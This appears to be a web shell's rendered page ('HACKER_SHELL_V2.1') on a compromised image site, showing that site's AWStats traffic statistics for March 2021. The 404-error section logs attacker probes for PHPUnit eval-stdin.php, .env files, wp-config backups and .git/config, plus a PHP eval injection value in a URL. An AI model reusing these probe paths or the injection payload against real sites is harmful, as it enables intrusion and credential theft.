GIF89a; HACKER_SHELL_V2.1

TERMINAL EXPLOIT V2.1

[LOCATION]: /home/imgbumppy/tmp/awstats/

Folder Link Grabber

PREFIX: SUFFIX:

Mass File Creator

FILENAME: CONTENT:

Quick Actions

FILE:
NEW_ITEM:
AWSTATS DATA FILE 7.7 (build 20180105)
# If you remove this file, all statistics for date 202103 will be lost/reset.
# Last config file used to build this data file was /home/imgbumppy/tmp/awstats/awstats.img.bumppy.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2012                
POS_TIME 2690                
POS_VISITOR 17972               
POS_DAY 33915               
POS_DOMAIN 3531                
POS_LOGIN 3792                
POS_ROBOT 3947                
POS_WORMS 4842                
POS_EMAILSENDER 4973                
POS_EMAILRECEIVER 5116                
POS_SESSION 34744               
POS_SIDER 34915               
POS_FILETYPES 5251                
POS_DOWNLOADS 5441                
POS_OS 5636                
POS_BROWSER 5875                
POS_SCREENSIZE 6989                
POS_UNKNOWNREFERER 7063                
POS_UNKNOWNREFERERBROWSER 8763                
POS_ORIGIN 10092               
POS_SEREFERRALS 10228               
POS_PAGEREFS 10493               
POS_SEARCHWORDS 10885               
POS_KEYWORDS 11037               
POS_MISC 2354                
POS_ERRORS 11096               
POS_CLUSTER 3648                
POS_SIDER_404 11182               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20210401002747 22 4287 13632850284791
FirstTime 20210301023046
LastTime 20210331214313
LastUpdate 20210401174543 22 0 21 0 0
TotalVisits 308                 
TotalUnique 174                 
MonthHostsKnown 0                   
MonthHostsUnknown 549                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavaEnabled 0 0 0
QuickTimeSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavascriptDisabled 0 0 0
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
FlashSupport 0 0 0
AddToFavourites 0 0 0
PDFSupport 0 0 0
TotalMisc 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 17 50 9024060 7 70 4384466
1 13 28 1266370 26 92 3929630
2 12 19 847362 4 67 5522655
3 9 27 2550786 4 61 4157285
4 14 66 3284987 89 145 3657195
5 12 35 1919916 8 64 4936159
6 13 39 3102269 66 124 4545575
7 7 26 1724449 9 61 3463191
8 11 27 1459263 18 92 5089176
9 6 27 2024853 3 65 3719630
10 9 38 3928639 4 45 1748681
11 7 34 2111680 4 73 5505703
12 13 33 1412752 37 82 3185132
13 13 36 3142536 4 56 2579808
14 6 32 2517919 12 67 6219574
15 18 44 1737515 7 62 4382617
16 26 52 1680075 3 56 3709907
17 15 42 2653507 21 80 4912990
18 12 33 3073910 5 67 5490140
19 18 41 3179227 7 70 3146476
20 18 45 4621266 5 63 2984976
21 15 37 1795789 3 63 4191228
22 18 39 1658887 3 79 4434396
23 21 44 2545910 38 113 3417153
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 3
us 304 843 59638381
eu 19 50 3532672
sc 0 1 92874
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 21
DotBot/ 728 75384199 20210331221747 0
bingbot/ 107 14940077 20210331234007 0
Googlebot/ 43 0 20210331011234 0
Baiduspider/ 42 3142123 20210319083611 0
bot[\s_+:,\.\;\/\\-] 25 1597033 20210329210112 0
Dalvik/ 15 709385 20210330123251 0
YandexBot/ 12 0 20210328183154 0
Googlebot\-Image/ 8 351439 20210328141140 0
spider 7 575901 20210328220247 0
YandexImages/ 7 1299835 20210329181558 0
feed 4 535340 20210331010439 0
no_user_agent 3 91741 20210307123026 0
(firefox/)([0-9]\.|[0-1][0]\.) 3 0 20210314094647 0
Mail\.RU_Bot/ 2 199031 20210325023841 0
baidu 2 181037 20210314112240 0
crawl 2 0 20210325225429 0
Wget/ 2 191088 20210325144253 0
oBot/ 2 0 20210317034235 0
robot 1 0 20210326073029 0
yandex 1 115514 20210310093459 0
MegaIndex\.ru/ 1 0 20210307151514 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 7
jpeg 2 306329 0 0
gif 5 8407073 0 0
jpg 534 49660569 0 0
Unknown 1 33890 0 0
png 5 4854154 0 0
txt 25 1912 0 0
html 322 0 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 2
/.well-known/pki-validation/299E86CE69739B81E0828888CCAF78AB.txt 24 0 1848
/.well-known/pki-validation/D4546141012B85CFE1B783118C0C1B54.txt 1 0 64
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 13
winxp 2 1
Unknown 589 41
linux 115 113
macosx11 10 10
win8 7 7
linuxandroid 8 6
macosx 42 31
win7 48 47
winlong 29 29
ios_iphone 3 0
macosx12 17 17
ios_ipad 1 1
win10 23 20
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 55
msie6.0 2 1
firefox56.0 2 2
netscape5.0 1 0
chrome55.0.2883.95 17 17
firefox40.0 2 2
chrome80.0.3987.87 1 0
chrome83.0.4103.61 1 1
firefox86.0 2 0
msie9.0 60 60
cloudflare 2 2
firefox74.0 4 4
chrome88.0.4324.182 1 1
Unknown 585 38
chrome41.0.2228.0 1 1
firefox72.0 1 1
msie11.0 1 0
chrome60.0.3112.107 1 1
chrome83.0.4103.14 1 1
chrome63.0.3239.132 1 1
firefox57.0 2 2
chrome81.0.4044.129 2 2
safari13.1.1 1 0
firefox28.0 1 1
chrome83.0.4103.106 1 0
iphone 1 0
safari14.0 1 1
chrome89.0.4389.90 3 2
chrome28.0.1464.0 1 1
safari10.0 1 0
chrome75.0.3770.143 1 0
chrome74.0.3729.157 1 1
chrome86.0.4240.198 1 0
chrome49.0.2623.75 103 103
firefox58.0 1 1
chrome72.0.3626.109 11 11
safari14.0.3 2 0
safari9.0 1 1
mozilla 1 1
chrome76.0.3809.132 2 2
android 2 2
chrome78.0.3904.108 6 6
chrome47.0.2526.106 10 10
safari14.0.2 1 0
chrome55.0.2883.87 2 2
chrome88.0.4240.193 3 3
firefox84.0 2 1
firefox65.0 1 1
chrome76.0.3809.71 1 1
chrome84.0.4147.125 26 26
firefox49.0 1 1
chrome81.0.4044.138 6 0
msie10.0 6 6
chrome74.0.3729.169 1 1
edge17 1 1
chrome79.0.3945.117 1 0
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 20
NativeOperaMini(Spreadtrum/HW_Version:________fp6531_bar;Native_Opera_Mini/4.4.33961;en) 20210328060541
Mozilla/5.0_(compatible;_CloudFlare-AlwaysOnline/1.0;_http://www.cloudflare.com/always-online) 20210308124729
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20210322133425
WordPress/5.7;_https://eros-site.ru 20210329051456
COMODO_DCV 20210314045716
okhttp/3.12.12 20210307092105
whisper/8.28.0_(sh.whisper.whisperapp;_build:1;_iOS_14.4.0)_Alamofire/4.7.3 20210305161746
WordPress/5.7;_https://1.inpics.site 20210325041555
Mozilla/5.0_ibrowse/4.0.2 20210302042443
Mozilla/5.0_(compatible;_CloudFlare-AlwaysOnline/1.0;__http://www.cloudflare.com/always-online)_AppleWebKit/534.34 20210308124729
Expanse_indexes_the_network_perimeters_of_our_customers._If_you_have_any_questions_or_concerns,_please_reach_out_to:_scaninfo@expanseinc.com 20210327080634
OperaMini(MAUI_MRE;Opera_Mini/4.4.33576;en) 20210311003347
Mozilla/5.0_(compatible;_NetcraftSurveyAgent/1.0;__info@netcraft.com) 20210331132315
YahooCacheSystem;_YahooWebServiceClient 20210331020927
python-requests/2.25.1 20210309225508
Photon/1.0 20210331211654
Sectigo_DCV 20210314045723
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20210331164258
Reflect/1.0.6_(tech.reflect;_build:44;_iOS_14.4.0)_Alamofire/4.8.2 20210304004236
dBpoweramp 20210331015113
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 16
WordPress/5.7;_https://1.inpics.site 20210325041555
whisper/8.28.0_(sh.whisper.whisperapp;_build:1;_iOS_14.4.0)_Alamofire/4.7.3 20210305161746
WordPress/5.7;_https://eros-site.ru 20210329051456
COMODO_DCV 20210314045716
okhttp/3.12.12 20210307092105
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20210322133425
NativeOperaMini(Spreadtrum/HW_Version:________fp6531_bar;Native_Opera_Mini/4.4.33961;en) 20210328060541
Reflect/1.0.6_(tech.reflect;_build:44;_iOS_14.4.0)_Alamofire/4.8.2 20210304004236
dBpoweramp 20210331015113
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20210331164258
Sectigo_DCV 20210314045723
python-requests/2.25.1 20210309225508
YahooCacheSystem;_YahooWebServiceClient 20210331020927
Photon/1.0 20210331211654
Expanse_indexes_the_network_perimeters_of_our_customers._If_you_have_any_questions_or_concerns,_please_reach_out_to:_scaninfo@expanseinc.com 20210327080634
OperaMini(MAUI_MRE;Opera_Mini/4.4.33576;en) 20210311003347
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 311 866
From1 0 0
From2 3 15
From3 0 2
From4 9 11
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 6
images_search_yahoo_com 0 7
search_yahoo_com 0 3
www_google_com 1 1
r_search_yahoo_com 0 1
google_com 2 2
duckduckgo 0 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 2
http://domain.com 0 1
https://myhotpicc.com/sherlyn-chopra-posts-her-bold-and-sensual-photographs-on/img.bumppy.com*bumppy*2017*11*Sherlyn-Chopra-Posts-Her-Bold-And-Sensual-Photographs-On-Instagram-And-Her-Followers-Are-Going-Crazy.jpg.asp 0 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 1
404 603 0
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 135
/admin/.env 1 -
/wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 2 -
/ads.txt 33 -
/test/.env 1 -
/user/niubi.php 2 http://img.bumppy.com/user/niubi.php
/phpunit/Util/PHP/eval-stdin.php 3 -
/index.php 8 http://img.bumppy.com/index.php
/wp/wp-admin/ 2 http://img.bumppy.com/
/wp-config.php.bak1 1 https://www.google.com/search
/wp-config.php-original 1 https://www.google.com/search
/wp-config.php.5 1 https://www.google.com/search
/wp-config.php.a 1 https://www.google.com/search
/wp-config.php.b 1 https://www.google.com/search
/wp-config.php_original 1 https://www.google.com/search
/.env 5 -
/backup/wp-admin/ 2 http://img.bumppy.com/
/wp-config.php_orig 1 https://www.google.com/search
/cms/wp-includes/wlwmanifest.xml 4 -
/Index.php 2 http://img.bumppy.com/Index.php
/index.php/index/index/name/%7B$%7Beval($_POST%5Bs%5D)%7D%7D 2 http://img.bumppy.com/index.php/index/index/name/{${eval($_POST[s])}}
/utility/convert/data/config.inc.php 2 http://img.bumppy.com/utility/convert/data/config.inc.php
/wp-config.php.3 1 https://www.google.com/search
/utility/convert/index.php 2 http://img.bumppy.com/utility/convert/index.php
/otygv.php 2 http://img.bumppy.com/otygv.php
/fuck.php 2 http://img.bumppy.com/fuck.php
/wp-config.php.cust 1 https://www.google.com/search
/wp-config.php_Old 1 https://www.google.com/search
/sito/wp-includes/wlwmanifest.xml 4 -
/wp-content/plugins/mailpress/mp-includes/action.php 4 http://img.bumppy.com/wp-content/plugins/mailpress/mp-includes/action.php
/RPC2 5 -
/2019/wp-includes/wlwmanifest.xml 4 -
/web/new/fenlei/do/jf.php 2 http://img.bumppy.com/web/new/fenlei/do/jf.php
/laravel/.env 1 -
/news/wp-includes/wlwmanifest.xml 4 -
/wp-config.php.orig 1 https://www.google.com/search
/wp-config.php.original 1 https://www.google.com/search
/wp-config.php.7 1 https://www.google.com/search
/wp-config.php~ 2 https://www.google.com/search
/wp-config.php.disabled 1 https://www.google.com/search
/wp-config.phporiginal 1 https://www.google.com/search
/wp-config.php.6 1 https://www.google.com/search
/system/.env 1 -
/shop/wp-includes/wlwmanifest.xml 4 -
/wp-config.php.8 1 https://www.google.com/search
/lib/phpunit/Util/PHP/eval-stdin.php 2 -
/index.php/module/aciton/param1/%7B$%7Beval($_POST%5Bs%5D)%7D%7D 2 http://img.bumppy.com/index.php/module/aciton/param1/{${eval($_POST[s])}}
/wp-config_good 1 https://www.google.com/search
/wp1/wp-includes/wlwmanifest.xml 4 -
/website/wp-includes/wlwmanifest.xml 4 -
/phpunit/src/Util/PHP/eval-stdin.php 3 -
/web/wp-includes/wlwmanifest.xml 4 -
/FCKeditor/editor/filemanager/connectors/asp/connector.asp 4 http://img.bumppy.com/FCKeditor/editor/filemanager/connectors/asp/connector.asp
/phpunit/phpunit/src/Util/PHP/eval-stdin.php 3 -
/plus/mytag_js.php 2 http://img.bumppy.com/plus/mytag_js.php
/wp-config.php.bk 1 https://www.google.com/search
/wp-config.php_ 1 https://www.google.com/search
/test/wp-includes/wlwmanifest.xml 4 -
/.git/config 1 -
/wp-includes/fonts/css.php 2 -
/wp-config.php.swp 1 https://www.google.com/search
/admin_aspcms/_system/AspCms_SiteSetting.asp 2 http://img.bumppy.com/admin_aspcms/_system/AspCms_SiteSetting.asp
/blog/wp-includes/wlwmanifest.xml 4 -
/wp-config.php.swo 1 https://www.google.com/search
/wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 2 -
/wp-includes/css/css.php 2 -
/search.php 10 http://img.bumppy.com/search.php
/c.php 2 http://img.bumppy.com/c.php
/phpunit/phpunit/Util/PHP/eval-stdin.php 3 -
/2020/wp-includes/wlwmanifest.xml 1 -
/old/wp-admin/ 2 http://img.bumppy.com/
/fdgq.php 2 http://img.bumppy.com/fdgq.php
/xmlrpc.php 4 -
/user.php 4 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\"num\"
/2018/wp-includes/wlwmanifest.xml 3 -
/uploads/dede/sys_verifies.php 4 http://img.bumppy.com/uploads/dede/sys_verifies.php
/wp-config.php.2 1 https://www.google.com/search
/wp-config.php.bak 2 https://www.google.com/search
/plus/moon.php 2 http://img.bumppy.com/plus/moon.php
/index.php/api/Uploadify/preview 2 http://img.bumppy.com/index.php/api/Uploadify/preview
/wordpress/wp-includes/wlwmanifest.xml 4 -
/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php 3 -
/wp-config.php.9 1 https://www.google.com/search
/api/.env 1 -
/shop/.env 1 -
/wp-admin/ 3 http://img.bumppy.com/
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 7 -
/wp-config.good 1 https://www.google.com/search
/wp-config.php.old 1 https://www.google.com/search
/vendor/phpunit/src/Util/PHP/eval-stdin.php 3 -
/wp-config.php_bak 2 https://www.google.com/search
/OLD/wp-admin/ 2 http://img.bumppy.com/
/wp-config.php-bak 1 https://www.google.com/search
/wp-config.bak 1 https://www.google.com/search
/wordpress/wp-admin/ 2 http://img.bumppy.com/
/11.php 2 http://img.bumppy.com/11.php
/wordpress/wp-login.php 2 -
/wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 2 -
/public/.env 1 -
/sites/.env 1 -
/maccms/index.php 2 http://img.bumppy.com/maccms/index.php
/wp/wp-includes/wlwmanifest.xml 4 -
/wp-config.php_1 1 https://www.google.com/search
/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php 2 -
/media/wp-includes/wlwmanifest.xml 3 -
/user/register 2 http://img.bumppy.com/user/register
/wp-config.php.0 1 https://www.google.com/search
/wp-config.php.save 2 https://www.google.com/search
/bumppy/2016/10/HMu2019s-New-Feminist-Ad-Subverts-What-You-Think-a-%A1%B0Lady%A1%B1-Should-Look-or-Act-Like.jpg 1 -
/wp/wp-login.php 2 -
/index.PHP 2 http://img.bumppy.com/index.PHP
/site/wp-includes/wlwmanifest.xml 4 -
/honker.php 2 http://img.bumppy.com/honker.php
/NewsType.asp 2 http://img.bumppy.com/NewsType.asp
/blog/wp-login.php 2 -
/vendor/phpunit/Util/PHP/eval-stdin.php 4 -
/wp-config.php.backup 1 https://www.google.com/search
/web/new/fenlei/search.php 2 http://img.bumppy.com/web/new/fenlei/search.php
/wp-config.php.swn 1 https://www.google.com/search
/wp-config.php.4 1 https://www.google.com/search
/wp-config.php.new 1 https://www.google.com/search
/lib/phpunit/src/Util/PHP/eval-stdin.php 2 -
/ysyqq.php 2 http://img.bumppy.com/ysyqq.php
/wp-config-good 1 https://www.google.com/search
/wp-config.php.1 1 https://www.google.com/search
/faq.php 2 http://img.bumppy.com/faq.php
/wp-login.php 12 -
/robots.txt 269 -
/lib/phpunit/phpunit/Util/PHP/eval-stdin.php 2 -
/blog/.env 1 -
/vendor/.env 1 -
/wp-includes/wlwmanifest.xml 4 -
/wp-config.php_new 1 https://www.google.com/search
/wp2/wp-includes/wlwmanifest.xml 4 -
/wp-admin/admin-ajax.php 2 -
/sitemap.xml 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 549
162.158.74.84 31 31 0 20210331112949
108.162.229.177 21 21 0 20210330132925
162.158.212.221 17 17 0 20210330194551
162.158.187.146 7 7 0 20210315161732
172.68.254.33 6 6 0 20210316045913
108.162.245.101 5 5 0 20210315185602
162.158.74.188 4 4 0 20210309171432
141.101.69.92 4 4 33890 20210328200829
108.162.246.8 4 4 0 20210322153712
162.158.91.184 4 4 0 20210323212337
162.158.212.233 4 4 0 20210316201151
172.69.34.85 3 3 0 20210320093612
172.69.34.169 3 3 0 20210314051912
108.162.215.63 3 3 0 20210319173716
172.69.34.197 3 3 0 20210305193336
172.68.189.52 3 4 141877 20210318015623
172.69.63.112 3 3 0 20210314005730
172.70.34.169 3 4 79752 20210330222321
108.162.245.97 3 3 0 20210309210201
173.245.54.250 3 3 0 20210331202146
162.158.212.197 3 4 56638 20210317191357
108.162.215.107 3 3 0 20210315113618
108.162.245.95 3 3 0 20210313232559
108.162.219.109 3 3 0 20210330052617
108.162.245.23 2 2 0 20210313054817
172.69.34.245 0 2 141771 
172.68.65.197 0 1 125140 
162.158.119.164 1 1 0 20210304105828
162.158.75.183 0 1 79799 
108.162.245.96 1 1 0 20210301231647
162.158.79.182 0 2 24975 
172.70.34.23 0 1 58348 
172.69.35.68 0 1 90796 
162.158.78.109 0 1 81632 
162.158.74.192 0 1 43223 
162.158.79.178 0 1 267428 
172.69.63.124 0 2 798496 
108.162.215.99 1 1 0 20210307015235
141.101.99.122 0 1 123647 
172.69.194.31 1 1 0 20210324060519
173.245.54.206 0 2 126004 
173.245.54.190 1 1 0 20210313160638
108.162.210.135 0 4 2252228 
162.158.63.57 1 2 266437 20210310144540
172.69.63.254 0 2 243774 
172.70.34.189 1 1 0 20210327160630
172.68.65.179 2 3 70591 20210320153654
173.245.54.232 0 2 195234 
172.69.63.30 0 1 30365 
162.158.78.31 2 3 77 20210309031728
172.68.174.123 2 2 0 20210322193340
172.69.34.107 2 2 0 20210311193744
172.70.34.135 0 1 77245 
162.158.166.234 0 1 64 
172.69.63.62 0 2 240545 
162.158.63.115 0 1 58556 
162.158.74.58 0 1 72399 
173.245.54.78 0 4 1195962 
173.245.54.172 0 1 61108 
108.162.229.185 2 2 0 20210324064928
162.158.79.70 0 1 86465 
172.69.33.246 0 1 68763 
162.158.212.199 2 2 0 20210324231121
162.158.62.134 0 1 77 
172.70.38.227 0 1 302035 
172.70.35.79 0 1 96548 
172.70.34.77 0 1 75502 
172.68.65.173 0 1 57394 
172.68.132.68 1 1 0 20210324210902
141.101.105.43 0 2 97830 
162.158.63.85 0 1 114895 
162.158.78.239 0 1 6154845 
172.68.11.88 1 1 0 20210315200227
172.68.142.62 0 1 58302 
173.245.54.55 0 1 44266 
162.158.78.25 0 6 446934 
141.101.76.157 0 5 1518240 
172.69.63.110 0 1 82567 
141.101.68.41 1 1 0 20210302123311
162.158.78.249 0 1 88156 
173.245.54.124 1 3 170250 20210305000019
162.158.2.231 1 1 0 20210325033955
172.69.63.230 0 1 52189 
172.69.33.87 1 1 0 20210322133425
173.245.54.38 0 1 73690 
108.162.219.19 0 1 77 
162.158.212.222 0 1 80443 
108.162.245.37 0 1 166215 
162.158.74.83 2 2 0 20210318142355
172.70.35.12 0 1 77514 
172.70.35.86 0 1 79953 
172.70.38.247 0 1 71145 
172.70.45.133 0 1 76158 
108.162.219.81 0 1 79939 
172.68.65.44 0 2 187164 
108.162.216.229 1 1 0 20210321215932
173.245.54.228 1 1 0 20210319154132
172.68.141.97 1 1 0 20210325175843
108.162.215.235 0 1 59544 
172.70.45.147 0 1 72382 
172.68.65.45 0 5 467910 
172.70.34.209 0 1 62765 
172.69.34.5 2 2 0 20210313103726
141.101.76.133 0 3 237213 
108.162.229.149 2 2 0 20210326090229
162.158.183.188 1 1 0 20210312060611
108.162.219.55 0 1 111211 
172.70.38.205 0 1 45448 
162.158.179.192 1 1 0 20210301173959
172.69.62.243 0 1 69351 
108.162.245.211 1 1 0 20210316030242
172.70.35.24 0 1 64562 
108.162.210.206 1 1 0 20210323003350
173.245.54.118 0 1 56388 
108.162.219.61 0 1 62255 
172.69.62.108 0 2 141898 
162.158.79.44 0 1 74272 
162.158.79.64 0 3 191220 
172.69.62.249 0 1 266437 
172.68.57.62 0 1 46041 
172.68.174.31 1 1 0 20210310145624
173.245.54.154 1 1 0 20210302161456
172.69.33.232 1 1 0 20210330210455
172.69.68.196 0 1 93346 
172.69.63.154 0 1 15005 
162.158.78.231 1 2 140121 20210305162753
108.162.216.21 0 1 93582 
162.158.78.207 0 4 259916 
172.68.65.205 0 1 77 
162.158.78.171 0 2 194915 
162.158.122.118 0 1 52631 
172.69.55.55 1 1 0 20210325093340
108.162.229.91 0 1 0 
162.158.63.243 0 1 53216 
162.158.78.213 0 1 44171 
172.68.132.176 2 2 0 20210325201538
108.162.215.149 1 1 0 20210317223738
141.101.96.74 2 2 0 20210331060520
172.68.143.75 2 2 0 20210331164343
162.158.166.206 0 1 97296 
173.245.54.76 1 1 0 20210318160034
108.162.219.153 0 1 117395 
172.68.132.192 1 1 0 20210317035649
162.158.212.215 0 1 61456 
172.69.63.6 0 2 849378 
108.162.216.67 1 1 0 20210330121417
162.158.165.101 0 6 462 
162.158.78.69 0 1 17168 
172.69.33.114 0 1 54077 
172.69.63.40 0 1 89601 
173.245.52.214 0 1 69016 
162.158.75.227 0 1 18103 
172.69.63.76 0 3 299931 
172.70.34.173 0 1 69578 
172.70.38.135 0 1 199100 
162.158.79.80 0 1 62215 
162.158.78.111 0 1 62678 
172.69.55.193 0 1 209689 
162.158.78.43 0 1 66991 
172.69.63.26 0 2 154158 
172.70.34.219 0 1 212339 
172.68.65.183 0 1 67493 
162.158.75.185 0 1 69543 
172.69.35.70 1 1 0 20210303154751
108.162.219.157 0 1 71617 
172.68.132.116 2 2 0 20210331024020
172.70.38.215 0 1 33727 
141.101.105.143 1 1 0 20210314123241
173.245.54.156 0 2 116958 
162.158.79.62 0 1 100570 
172.68.65.51 0 5 168635 
172.69.33.88 1 1 0 20210320222603
173.245.54.108 0 2 249135 
172.69.34.177 0 1 140621 
162.158.78.24 0 1 74489 
172.69.63.192 0 2 208507 
108.162.245.141 1 1 0 20210309003218
141.101.105.79 0 1 90796 
162.158.79.124 0 1 155255 
172.69.63.200 0 2 129654 
141.101.105.35 0 1 75726 
172.70.38.175 0 1 80564 
162.158.79.188 0 1 86879 
141.101.77.215 0 1 143764 
108.162.219.239 0 2 124430 
162.158.79.232 0 1 12139 
108.162.212.146 0 1 71145 
108.162.245.173 0 1 75502 
172.69.63.22 0 2 225225 
162.158.63.89 0 1 77 
108.162.212.112 0 1 474236 
172.69.33.4 0 1 49285 
162.158.78.217 0 1 71684 
162.158.79.242 0 2 371975 
162.158.212.196 1 1 0 20210320004420
173.245.54.252 0 1 75637 
172.70.38.27 0 1 464474 
173.245.54.238 0 6 592874 
172.68.142.182 0 1 75636 
172.68.65.32 0 1 79939 
173.245.54.178 1 1 0 20210304161153
172.70.34.63 0 1 122199 
162.158.62.228 0 1 63453 
141.101.76.123 0 1 49870 
172.69.33.250 0 1 53786 
162.158.187.108 1 1 0 20210321051032
162.158.187.114 1 1 0 20210314130806
162.158.90.35 0 1 206606 
172.70.34.205 1 1 0 20210325160826
108.162.241.33 0 2 181592 
172.70.34.127 0 1 50460 
172.69.170.145 1 1 0 20210322122848
172.69.196.141 1 1 0 20210304050550
172.69.34.237 0 1 14467 
108.162.215.51 1 1 0 20210304131410
172.70.38.17 0 1 46041 
172.69.63.180 0 5 421810 
162.158.78.181 0 1 77096 
172.69.63.14 0 1 39195 
172.69.55.163 0 1 47122 
